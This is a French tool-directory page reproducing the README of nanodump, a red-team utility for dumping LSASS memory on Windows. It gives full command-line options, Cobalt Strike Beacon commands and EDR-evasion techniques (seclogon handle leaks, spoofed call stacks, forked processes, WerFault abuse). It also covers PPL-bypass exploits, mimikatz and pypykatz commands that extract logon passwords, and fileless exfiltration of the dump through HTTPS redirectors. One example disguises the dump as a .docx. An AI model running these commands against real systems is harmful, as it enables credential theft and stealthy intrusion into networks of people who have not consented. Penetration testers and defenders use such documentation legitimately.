Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nanodump — Le couteau suisse du dump LSASS | Kitploit
Outils/GitHubGitHub/fortra/nanodump
Escalade de PrivilègesCriminalistique MémoireExploitationPost-ExploitationTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubfortra/nanodump

nanodump

Le couteau suisse du dump LSASS

Voir le dépôt
2.1k272il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

NanoDump

Un outil flexible qui crée un minidump du processus LSASS.

screenshot

Table des matières

  1. Utilisation
  2. Fonctionnalités
  3. Combinaisons de techniques
  4. Exemples
  5. Redirecteurs HTTPS

1. Utilisation

root@kitploit:~
usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

Clone

root@kitploit:~
git clone https://github.com/fortra/nanodump.git

Compilation (optionnel)

Sous Linux avec MinGW

root@kitploit:~
make -f Makefile.mingw

Sous Windows avec MSVC (Pas de support BOF)

root@kitploit:~
nmake -f Makefile.msvc

Importation (CobaltStrike uniquement)

Importez le script NanoDump.cna sur Cobalt Strike.

Exécution

Exécutez la commande nanodump dans la console Beacon ou le binaire nanodump.x64.exe.

Restaurer la signature

Si vous n'avez pas spécifié le drapeau --valid, vous devez restaurer la signature invalide

root@kitploit:~
scripts/restore_signature <dumpfile>

Obtenir les secrets

mimikatz:
Pour obtenir les secrets, exécutez simplement :

root@kitploit:~
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Si vous préférez rester sous Linux, vous pouvez utiliser le port python3 de mimikatz appelé pypykatz :

root@kitploit:~
python3 -m pypykatz lsa minidump <dumpfie>

2. Fonctionnalités

Fork de processus

Pour éviter d'ouvrir un handle vers LSASS avec PROCESS_VM_READ, vous pouvez utiliser le paramètre --fork.
Cela fera en sorte que nanodump crée un handle vers LSASS avec un accès PROCESS_CREATE_PROCESS puis crée un 'clone' du processus. Ce nouveau processus sera ensuite dumpé. Bien que cela entraîne la création et la suppression d'un processus, cela supprime le besoin de lire LSASS directement.

Instantané

De manière similaire à l'option --fork, vous pouvez utiliser --snapshot pour créer un instantané du processus LSASS.
Cela fera en sorte que nanodump crée un handle vers LSASS avec un accès PROCESS_CREATE_PROCESS puis crée un instantané du processus en utilisant PssNtCaptureSnapshot. Ce nouveau processus sera ensuite dumpé. L'instantané sera libéré automatiquement une fois terminé.

Duplication de handles

Comme l'ouverture d'un handle vers LSASS peut être détectée, nanodump peut plutôt rechercher des handles existants vers LSASS.
S'il en trouve un, il le copie et l'utilise pour créer le minidump.
Notez qu'il n'est pas garanti de trouver un tel handle.

Élévation de handle

Vous pouvez obtenir un handle vers LSASS avec PROCESS_QUERY_LIMITED_INFORMATION, qui est susceptible d'être autorisé, puis élever ce handle en le dupliquant.

Fuite de handle Seclogon local

Pour éviter d'ouvrir un handle vers LSASS, vous pouvez abuser du service seclogon en appelant CreateProcessWithLogonW pour faire fuiter un handle LSASS dans le binaire nanodump.
Pour activer cette fonctionnalité, utilisez le paramètre --seclogon-leak-local.
À prendre en compte : lorsqu'elle est utilisée depuis Cobalt Strike, un binaire nanodump non signé doit être écrit sur le disque pour utiliser cette fonctionnalité.

Fuite de handle Seclogon à distance

Cette technique est très similaire à la précédente, mais au lieu de faire fuiter le handle dans nanodump, il est divulgué dans un autre binaire puis dupliqué afin que nanodump puisse l'utiliser. Utilisez le drapeau --seclogon-leak-remote pour accéder à cette fonctionnalité.

Duplication de handle Seclogon

Vous pouvez piéger le processus seclogon pour qu'il ouvre un handle vers LSASS et le duplique avant qu'il ne soit fermé, en gagnant une condition de concurrence à l'aide de verrous de fichiers. Utilisez le drapeau --seclogon-duplicate pour accéder à cette fonctionnalité.

Charger nanodump en tant que SSP

Vous pouvez charger nanodump en tant que SSP dans LSASS pour éviter d'ouvrir un handle.
Lorsque la DLL a été chargée dans LSASS, les paramètres seront transmis via un pipe nommé et une fois le dump terminé, DllMain retournera FALSE pour que LSASS décharge la DLL nanodump.
Vous pouvez coder en dur les paramètres dans la DLL et éviter complètement l'utilisation du pipe nommé avec le drapeau du compilateur PASS_PARAMS_VIA_NAMED_PIPES=0.

Télécharger et charger une DLL nanodump

Par défaut, une DLL nanodump non signée sera téléchargée dans le dossier Temp, qui sera supprimée automatiquement.

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

Si vous souhaitez charger une DLL préexistante, vous pouvez exécuter :

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

Exploit PPL Dump

Si LSASS s'exécute en tant que Protected Process Light (PPL), vous pouvez essayer de le contourner en utilisant un exploit en espace utilisateur découvert par Project Zero. S'il réussit, le dump sera écrit sur le disque.

Notez que cette vulnérabilité a été corrigée dans le pack de mise à jour de juillet 2022 (Windows 10 21H2 Build 19044.1826)

Pour accéder à cette fonctionnalité, utilisez la commande nanodump_ppl_dump

root@kitploit:~
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

Exploit PPL Medic

Nanodump implémente également l'exploit PPLMedic, qui fonctionne sur les systèmes disposant du pack de mise à jour de juillet 2022. Les paramètres seront transmis à la DLL nanodump via un pipe nommé. Vous pouvez coder en dur les paramètres dans la DLL et éviter complètement l'utilisation du pipe nommé avec le drapeau du compilateur PASS_PARAMS_VIA_NAMED_PIPES=0.

Pour accéder à cette fonctionnalité, utilisez la commande nanodump_ppl_medic

root@kitploit:~
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

Vous pouvez forcer le processus WerFault.exe à créer un dump mémoire complet de LSASS. À prendre en compte : cela nécessite la possibilité d'écrire dans le registre.

Comme le dump n'est pas effectué par nanodump, il aura toujours une signature valide.

Silent Process Exit

Pour tirer parti de la technique Silent Process Exit, utilisez le paramètre --silent-process-exit et le chemin où le dump doit être créé.

root@kitploit:~
beacon> nanodump --silent-process-exit C:\Windows\Temp\

Un dump du processus nanodump sera également créé, similaire à celui-ci :

root@kitploit:~
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

Vous pouvez également utiliser la technique Shtinkering, qui nécessite que nanodump s'exécute sous SYSTEM :

root@kitploit:~
beacon> nanodump --shtinkering

Le dump sera généralement créé sous C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps

Spoof de la pile d'appels

Vous pouvez ouvrir un handle vers LSASS avec une fausse pile d'appels pour rendre l'appel de fonction un peu plus légitime (surtout s'il est exécuté en tant que BOF).
Pour accéder à cette fonctionnalité, utilisez le paramètre --spoof-callstack.

3. Combinaisons de techniques

Vous pouvez combiner de nombreuses techniques pour personnaliser le fonctionnement de nanodump.
Le tableau suivant indique quels drapeaux peuvent être utilisés ensemble.

4. Exemples

Lire LSASS indirectement en créant un fork et écrire le dump sur le disque avec une signature invalide :

root@kitploit:~
beacon> nanodump --fork --write C:\lsass.dmp

Utiliser la fuite de handle Seclogon à distance pour faire fuiter un handle LSASS dans un processus notepad, dupliquer ce handle pour obtenir l'accès à LSASS, puis le lire indirectement en créant un fork et télécharger le dump avec une signature valide :

root@kitploit:~
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

Obtenir un handle avec la fuite de handle Seclogon local, lire LSASS indirectement en utilisant un fork et écrire le dump sur le disque avec une signature valide (un binaire nanodump sera téléchargé !) :

root@kitploit:~
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

Télécharger le dump avec une signature invalide (par défaut) :

root@kitploit:~
beacon> nanodump

Dupliquer un handle existant et écrire le dump sur le disque avec une signature invalide :

root@kitploit:~
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

Obtenir le PID de LSASS :

root@kitploit:~
beacon> nanodump --getpid

Charger nanodump dans LSASS en tant que SSP (un binaire nanodump sera téléchargé !) :

root@kitploit:~
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

Dumper LSASS en contournant PPL avec l'exploit PPLDump, en dupliquant le handle que csrss.exe a sur LSASS :

root@kitploit:~
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

Dumper LSASS en contournant PPL avec l'exploit PPLMedic, en ouvrant un handle à faible privilège vers LSASS puis en l'élevant :

root@kitploit:~
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

Piéger seclogon pour qu'il ouvre un handle vers LSASS et le duplique, puis télécharger le dump avec une signature invalide :

root@kitploit:~
beacon> nanodump --seclogon-duplicate

Forcer le processus WerFault.exe à créer un dump mémoire complet dans le dossier Temp :

root@kitploit:~
beacon> nanodump --werfault C:\Windows\Temp\

Ouvrir un handle vers LSASS avec une pile d'appels falsifiée et télécharger le minidump avec une signature invalide :

root@kitploit:~
beacon> nanodump --spoof-callstack

Utiliser la technique Shtinkering :

root@kitploit:~
beacon> nanodump --shtinkering

Obtenir un handle en utilisant la fuite de handle Seclogon local et créer le dump avec la technique Shtinkering :

root@kitploit:~
beacon> nanodump --seclogon-leak-local --shtinkering

Obtenir un handle avec des privilèges faibles et l'élever en utilisant elevate handle :

root@kitploit:~
beacon> nanodump --elevate-handle

Obtenir un handle avec des privilèges faibles en utilisant une pile d'appels falsifiée et l'élever en utilisant elevate handle :

root@kitploit:~
beacon> nanodump --elevate-handle --spoof-callstack

Dupliquer un handle existant à faible privilège et l'élever en utilisant elevate handle :

root@kitploit:~
beacon> nanodump --duplicate-elevate

5. Redirecteurs HTTPS

Si vous utilisez un redirecteur HTTPS (comme vous le devriez), vous pourriez rencontrer des problèmes lors du téléchargement du dump sans fichier en raison de la taille des requêtes qui divulguent le dump.
Augmentez la taille maximale des requêtes sur votre serveur web pour permettre à nanodump de télécharger le dump.

NGINX

root@kitploit:~
location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

root@kitploit:~
<Directory "...">
    LimitRequestBody  52428800
</Directory>

Credits

  • skelsec pour avoir écrit minidump, qui a été crucial pour apprendre le format de fichier minidump.
  • freefirex de CS-Situational-Awareness-BOF chez Trustedsec pour de nombreuses astuces sympas pour les BOFs
  • Jackson_T pour SysWhispers2
  • BillDemirkapi pour Process Forking
  • Antonio Cocomazzi pour l'abus de handles divulgués pour dumper la mémoire LSASS et la course pour les dumps LSASS
  • xpn pour Exploring Mimikatz - Part 2 - SSP
  • Matteo Malvica pour Contourner WinDefender ATP pour le vol d'identifiants : un succès après des débuts difficiles
  • James Forshaw pour Astuces d'exploitation Windows : Exploiter la création arbitraire de répertoires d'objets pour l'élévation locale de privilèges
  • itm4n pour les implémentations originales des exploits PPL en espace utilisateur, PPLDump et PPLMedic.
  • Asaf Gilboa pour Les dumps de mémoire LSASS sont plus discrets que jamais - Partie 2 et la technique Shtinkering
Télécharger l’outil
--write--valid--duplicate--elevate-handle--duplicate-elevate--seclogon-leak-local--seclogon-leak-remote--seclogon-duplicate--spoof-callstack--silent-process-exit--shtinkering--fork--snapshotSSPPPL_DUMPPPL_MEDIC
--write✓✓✓✓✓✓✓✓✓✓✓✓✓
--valid✓✓✓✓✓✓✓✓✓✓✓✓✓
--duplicate✓✓✓✓✓✓✓
--elevate-handle✓✓✓✓✓✓✓✓
--duplicate-elevate✓✓✓✓✓✓
--seclogon-leak-local✓✓✓✓✓✓
--seclogon-leak-remote✓✓✓✓✓✓
--seclogon-duplicate✓✓✓✓✓✓
--spoof-callstack✓✓✓✓✓✓✓
--silent-process-exit✓
--shtinkering✓✓✓✓✓✓✓✓
--fork✓✓✓✓✓✓✓✓✓✓
--snapshot✓✓✓✓✓✓✓✓✓✓
SSP✓
PPL_DUMP✓✓✓✓
PPL_MEDIC✓✓✓✓
  • William Burgess pour Falsifier les piles d'appels pour tromper les EDR
  • Sebastian Feldmann et Fabian pour la technique elevate handle présentée dans Morph Your Malware!